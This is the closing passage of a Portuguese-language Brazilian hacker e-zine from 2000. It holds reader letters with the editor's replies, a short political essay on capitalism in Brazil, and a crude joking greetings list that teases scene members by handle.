tornnar seu amigo.. e vc me guie pro caminho.. o resto
eu do meus pulo :)
espero que vc me entenda mano.. pq vc j deve ter
passado por isso
um abrao brother t+

Estou esperando sua resposta bye!!


-----------------------

   1. Conheci sim gente legal, mas tbm conheci uns puto ae.
Acontece q o que eu aprendi nao foi com esses kras e sim com
textos q fui lendo;
   2. Eu posso ajudar atravez desta zine. Nao vou fikar dando
aulas particulares pq nao ganho pra isso;
   3. Nao gosto de ter amigos somente por interesse;
   4. Pra finalizar.. uma dica: C ta buscando infos no lugar
errado, pq ninguem gosta de ser interrompido no irc para ter
q explicar as coisas. Procure por textos q falem sobre o que
voce quer saber. Ou assine listas de discussoes.




=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ************ <*********@zipmail.com>  
Subject: sobre a zine  
Date: Sat, 10 Jun 2000 19:47:36 -0400  
 

Ol meu rei, meu nome  Alan.
Ficou feliz por ver que a Internet brasileira no s tem
"hackers" copiadores de idias. Gostei da sua iniciativa!

Manow, sinceramente, achava que aquela mozinha que est na
edio 0, fica melhor para separar as sees. Acho que os
seus leitores potenciais esto cansados e com sono, quando
estao lendo. Assim a mozinha serve pra destacar decente.

Na seo de fotos, no entendi. Aquelas gatas cujos nomes
esto como Cacaio, Spike, etc. So as gatas dos caras, ou
voc est fazendo pardia com os caras (cacaio, spike, etc)

Estou bem atrasado em nvel de hacker, estou me redimindo.
Tou com as classicas zines hacker (DK, Phone9, etc). Tou
criando um site pra galera que assim como eu quer se
iniciar, mas est cansada das copilaes de textos e idias
dos outros. Vou por um link do seu site no meu. Certo?
Foi manow!


-----------------------

  Hehe... Voce foi o primeiro a elogiar a "maozinha". Achu q o
resto dos leitores nem liga muito para esses detalhes na zine.
  Sobre a secao fotos... a principio eu tinha colocado lah a
foto original de todos mas ninguem queria aparecer nakela coisa
ridicula entao pediram pra tira-las. Soh troquei as foto... fikou
mais podre ainda... =)
  Valew pelo link... qto mais divulgada a page melhor.
  Falow!



=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ********** <**********@ig.com.br>  
Subject: Materia para a F3 zine  
Date: Wed, 26 Apr 2000 07:06:18 -0300  
 
ae kra, vai anexo a essa msg 4 arquivos para servirem como mate'ria
para a F3 zine...

sao 2 materias: uma sobre backdoors em LKMs e a outra sobre um prg
que fiz, uma backdoor que a gente troca pelo ping do Linux...
O texto ja' ta' ate' formatado pro "padrao" da zine, e so copiar e colar
na zine, ok???

a proposito, se puder me indicar algum canal onde posso trocar umas ideias
com outras pessoas ( nada daquele papo de "ah to com um cliente de NetBUS pra
linux. !!! que roola nos #*hack*), so' povo "udigrudi" messmo...

PS: eu sei que era pra eu mandar um  e-mail antes falando sobre o que a
mate'ria diria e tal, mas nao deu...


-----------------------

  Aeeeee... valew pelas materia.. fikaram muito r0x.
  Tipo... soh botei esse email aki porque nao consegui entrar em contato com vc
ateh o dia da publicacao dessa edicao, entao como eu sei q c deve ta lendo...
  Voce podi me encontrar no #fashion_eh_meu_ovo na Brasnerd na maioria das noites.
Nesse knal tambem costumam frequentar os dk. Tem outros knais de grupos afudes
mesmo, mas eu to meio q proibido de falar e tal... =7
  Issu ae... c tu tiver lendo issu manda outro email q eu tento entra em contato
novamente. Falow!



=======================
=======================
=======================

To: <cszine@xoommail.com>  
From: ******@globo.com  
Subject: ta foda a zine!  
Date: Tue, 4 Jul 2000 03:21:47 -0300  
 

Coe mukirana! 
Ai essa tua zine ta foda, parabens. porra ai, sei que nao tem nada a ver,
mas vc podia meter umas paradas criticando a rede bobo (globo) a fome, 
parade de Brasil 500 e esses politicos mukiranas. Se quiser material eu 
faco na boa com todo prazer pra galera jovem se ligar que sao tudo uns 
safados. e porra coloca umas criticas a esses amaricanos babacas tb.. eles
sao uns idiotas se acham os fodas.. foda-se eles 

se liga na parada que eu descobri,  mais importante que o Genoma, a 5a lei
de newton  a lei do FODA-SE, tudo que sobe foda-se tudo que vai foda-se tudo
que vem foda-se entao tudo que se foda! (porra nada a ver, mo viajem)

valeu mukirana, ve se nao para com essa zine pq ta manera 


Abracos


-----------------------


   Vo ti dizer... eh cada um que me aparece....
   Um detalhe sobre a parada do Brasil 500 (ja q tu tocou no assunto). Eu
achu errado estarem comemorando esta data mas tbm achu errado os anarquistas
fuderem com a comemoracao dos outros. Pensa assim... O judeu nao aceita o 
natal mas tb nao sai queimando os pinheiros na rua.
   Eu curto estes manifestos (do estilo bl0w e inferno-br) e c tu dar-se o
trabalho de escrever eu abro um espaco aki para publica-los.
   Falow!




=======================
=======================
=======================
  
To: <cszine@xoommail.com>
From: ********* ***** <******@tutopia.com.br>  
Date: Wed, 19 Jul 2000 00:24:37 -0300  
Subject: Shit, struck!  
 

Caro amigo Cheat Struck,
 
  Estava eu navegando nas ondas digitais da Internet, quando, 
derrepente, deparei-me com o seu Eletronic Zine.
  Lendo aquela melosa e triste auto-biografia, na qual meu nick foi 
citado, venho, poir intermdio deste mero Eletronic Mail, dizer: 
bem, no sei.
  Como vi tambm, na segunda edio do mesmo zine, um apelo para 
mandar-lhe um e-mail, resolvi escrever um. Os logs de meus amigos 
phrog e sk me proporcionaram uma boa risada.
  Tendo em vista que seu tempo esteja curtissimo, por que sei como  
tulmutuoso o fechamento de um Eletronic Zine, escrevo-lhe este pedao 
de redao congratulando-o pelo * trabalho(prefiro no expressar 
minha opinio, j que este Eletronic Mail ser publicado no seu 
Eletronic Zine).

Do seu cordial amigo On-Line,
   Source Code.

(Power OFF Sistemas de Iluminao LTDA.
 LKZ Venenos Para Ratos LTDA.
 Linux Psiclogos S/A)



-----------------------


   Rlz q tu sabe q eu ia publicar o email e decidiu escrever tudo certinhu
pra pensarem q c eh educado... =)
   Valew por... hm... bem... como c nao disse c curtiu ou odiou a zine
entao valew por apenas ter mandado o email. 
   Falow!!!




=======================
=======================
=======================

To: <cszine@xoommail.com>
Date: Mon, 24 Jul 2000 07:08:25 -0700  
From: ****** ******* <*********@hackernews.com.br>  
Subject: Zine  
 

Cheat;

Cara, sinceramente gostei muito da zine..
Nao deixe ela se perder no tempo-espaco e acabar assim como um Axur05 da
vida, estamos precisando de bom material na net, e com essa linguagem 
direta e sem rodeios que voce possui, cara.
Vou achar um tempo e contribuir de alguma forma para sua zine meu, aguarde
meu retorno, pode crer que vai rolar.

Falo irmao


-----------------------


  Valew! Tipo... sei lah... to com um pensamento completamente diferento
do que eu tinha qdo fazia a csz. Ao invez de lancar a zine semanalmente
com pouco conteudo eu prefiro atrasar ela 2 ou 3 meses e fikar mais lita.
  A contribuicao dos leitores ta ajudando entao nao deixe de envia-la.
  Nota: A materia sera avaliada antes de publicada...
  Cya!




=======================
=======================
=======================










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        20 - Th3 3nd        ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



    AHHHHHH!!!!
    Ufa! O fedor ja passou! Depois de voce ter aguentado toda essa merda ja
pode voltar a respirar aliviado.

    Tipo... Alem de somente passar infos para voces, espero tambem passar um
pouco de cultura e coisas sobre o que possam refletir para que usem a
inteligencia obtida de forma inteligente.
    Entao ae vai um texto escrito exclusivamente para a f3:


	Bem...o que ser que eu posso dizer... ou melhor, sobre o que
falar sobre conscincia poltica e igualitria em pas como o Brasil 
meio irnico, na concepo da maioria das pessoas ter igualdade  poder
comprar tanto quanto o outro, pouco importa se  preciso matar algum 
para usar aquele tnis nike que deixa com a sensao de vencedor que 
voc v na tv ou sangrar at a morte os cofres pblicos para ter cada 
vez mais dinheiro que voc nunca vai usar sequer a metade
	 uma questo de cultura (ou falta dela, isso  relativo,i.e, 
relate ;) ns fomos ensinados a sermos assim, somos capitalistas e o 
nosso lema : "lucro a qualquer custo", vivemos em um pas que nada mais
 que um quintal das elites... onde elas apenas usam como deposito de 
lixo e provedor de material, ah que sux! e depois dizem que aqui tem 
democracia.. s se for o governo do demo =), po.. todo mundo mundo 
reclama que o sistema  uma droga que o sistema isso que o sistema 
aquilo, mas tipo.. quem faz o sistema? somos ns... quem elege os 
carinhas? somos ns (eu no.. vocs =P), quem criou o capitali$mo? 
camponeses que acreditavam que lucro levaria pro cu, iludidas por 
mentiras criadas para fortalecer o capitali$mo,  um circulo 
vicioso... as pessoas acreditam que tem que matar a mae e o pai para 
ganhar dinheiro para melhorar de vida, o que s refora o system... o 
que fazer ento? isso  muito relativo, uns dizem luta armada (sangue! 
sangue!), mas tipo como seguidor de gandhi prefiro a conscientizao, 
as pessoas se ligarem que nao aidianta pensar em si proprio e tals... 
que todo mundo  friend e essas coisas bem yag's mas que todo mundo faz 
questo de esquecer e que podia melhorar muito mais essa joa

by RoadHouse



     Gr33Tz To...

^^VENTO^^         Agua! Fogo! Terra! Coracao! Vai Planeta!!!!
Cacaio            Cuidado! Nao faca contato direto!
Carti             Parece o Mr. Bean depois de uma plastica sem sucesso.
Cliptor           Seu unico amigo no colegio eh um professor gay.
Dave Mustaine     Entojado com problemas de urticaria.
DiE4YoU           "I see death people."
Draco             Colecionador de frutas de formatos sacanas.
Eletronic         Faz pesquisas em vestiarios femininos.
Encripty          "Ah mae! Eu nao quero ir pra aula! Os outros garotos
                  zombam de mim."
Kamikase Shell    Sua grande diversao eh jogar sal em lesmas.
hak               Piloto de aviao alcolatra.
MaskMaster        Meu Deus!!! O que aconteceu com a sua cara???
MidNight          Chora quando sua mae le chapeuzinho vermelho pra ele durmir.
N4rfy             Tem medo de sapos. Pode pegar uma verruga.
nosmiles          Pinguso q toma cerveja dos cinzeros dos bares.
OvEr_DeAtH        Conselheiro sacana q aconselha os outros a amputarem
                  seus penis.
pcHazard          Campeao do concurso de talentos ocultos. Bebe 6 latas 
                  de ceva numa empinada soh.
pcmcia            Faz exames de prostata 3 vezes por dia.
ReNeGaDe          Da aulas de como mascar tabaco.
RoadHouse         Funcionario do mes do McDonnalds. "Qual o seu pedido?"
Slash_DOMI        Baby Sauro??? Nao eh mamae!!!
Source            fez curso de fabricacao de vinho e esqueceu como dirigir.
s0laris           Presidente do fa-clube dos back street boys, n'sync e five.
Spike             Brigou com um vira-lata o qual mordeu suas bolas.
Thasmx            Vendedor de amostras gratis.
Tinkertrain       Assiste telletubies com seu vo.
TPGA              Nao tem vergonha de ser sempre o ultimo da lista?



     C voce nao gostou de aparecer aki avisa. C voce quizer aparecer aki
consulte um psicologo depois de falar cumigo.

     Por problemas pessoais a zine vai atrasar um pouco par sair a partir
de agora entao nao estranhem a demora... 
     kra... eu achu q eh issu. Abracos para toda a galera q ta me apoiando
e ateh daki a alguns meses!
     Falow!


     ___This_is_The_EOF___
